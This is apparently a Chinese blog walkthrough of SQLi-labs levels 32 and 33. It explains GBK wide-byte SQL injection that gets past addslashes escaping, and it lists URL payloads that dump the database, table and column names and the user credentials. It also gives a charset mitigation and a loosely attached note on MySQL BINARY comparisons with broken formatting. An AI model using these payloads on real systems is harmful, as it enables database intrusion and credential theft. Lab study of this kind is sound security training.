Less-32
我们可以先看下核心源码:
\
、'
、"
的函数,分别在前面加上\
1
、1'
、1"
都能正常回显,可以猜测输入的引号被过滤,从页面给的 hint 也证实了这一点。(注意:
GET型的方式我们是以url形式提交的,因此数据会通过url编码,其实url编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上“%”。比如“\”,它的ascii码是92,92的十六进制是5c,所以“\”的url编码就是%5c。那么汉字的url编码呢?很简单,看例子:“胡”的ascii码是 -17670,十六进制是BAFA,url编码是“%BA%FA”。 (汉字转ASCII码:默认情况下,是使用扩展ASCII,第一个字节为负数时(或理解为127以上)是识别,加后一个字节共两个字节。想了解更多自行查阅资料)
那么我们输入1%df%27,被转义为1�\',经过url编码后为%31%df%5c%27,然后提交给数据库,在使用GBK编码的数据库会进行解码,于是变成了1瀿' df5c就是一个宽字符,我不知道是啥汉字就用了'瀿'来代替,再说一下这个�是乱码,原因是两个不同字符集编码转换问题导致的(比如:GBK和Unicode))
?id=1%df%27--+
?id=1%df%5c%5c%27--+
暴库:
?id=-1%df%27 union select 1,2,database()--+
爆表:
?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479--+
暴字段:
user转换为16进制:0x7573657273
?id=-1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479--+
暴数据:
?id=-1%df%27 union select 1,group_concat(username,0x7e,password),3 from security.users--+
或者这样写(都是一个意思)
?id=-1%df%27 union select 1,group_concat(username,0x7e,password),3 from users--+
Less-33
addslashes()
函数,在 Less 17 中介绍过:addslashes(string)
函数返回在预定义字符之前添加反斜杠\
的字符串:'
"
\
NULL
注意:默认地,PHP对所有的GET、POST和COOKIE数据自动运行
addslashes()
。所以不应对已转义过的字符串使用addslashes()
,因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()
进行检测。
stripslashes(string)
函数删除由addslashes()
函数添加的反斜杠。演示一个暴表:
?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479--+
Notice:使用 addslashes(),我们需要将 mysql_query 设置为 binary (即二进制)的方式,才能防御此漏洞。
Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);
注:
MySQL居然不区分大小
可以使用binary将字符串先转换为二进制字符串,在进行比较、
MySQL中使用binary查询字符串
通过看MySQL手册可以知道,默认情况下,对MySQL数据库中的字段进行查询或者排序都是不区分大小写的。
但是在有些应用中,需要进行区分大小写的操作,咋办?
答:使用BINARY操作符。
BINARY操作符将后面的字符串抛给一个二进制字符串。这是一种简单的方式来促使逐字节而不是逐字符的进行列比较。这使得比较区分大小写,即使该列不被定义为 BINARY或 BLOB。
BINARY影响整个比较;它可以在任何操作数前被给定,而产生相同的结果。
###解决方法
1、第一种是在创建表结构时候使用binary属性来定义字段:
-
create
table
if
not
exists
user(
-
id
int
unsigned primary
key auto_increment,
-
name
varchar(
32)
binary,
-
)
engine=myisam;
或者在表结构创建好后使用alter来添加字段binary属性
alter table user modify name varchar(32) binary ;
2、第二种方法是在sql语句中使用bianry来进行区分大小写操作:
-
SELECT *
FROM
user
where
name=
binary
'maratrix';
-
或者
-
SELECT *
FROM
user
where
binary
name=
'maratrix';
进过测试发现,使用SELECT * FROM user where name=binary 'maratrix';
效率更高点,原因是将binary放在字符串前会使用索引(假设该字段存在索引),而将binary放在字段前面将不会使用索引,即使索引存在也不会使用。
###注意
在一些语境中,假如你将一个编入索引的列派给BINARY, MySQL 将不能有效使用这个索引。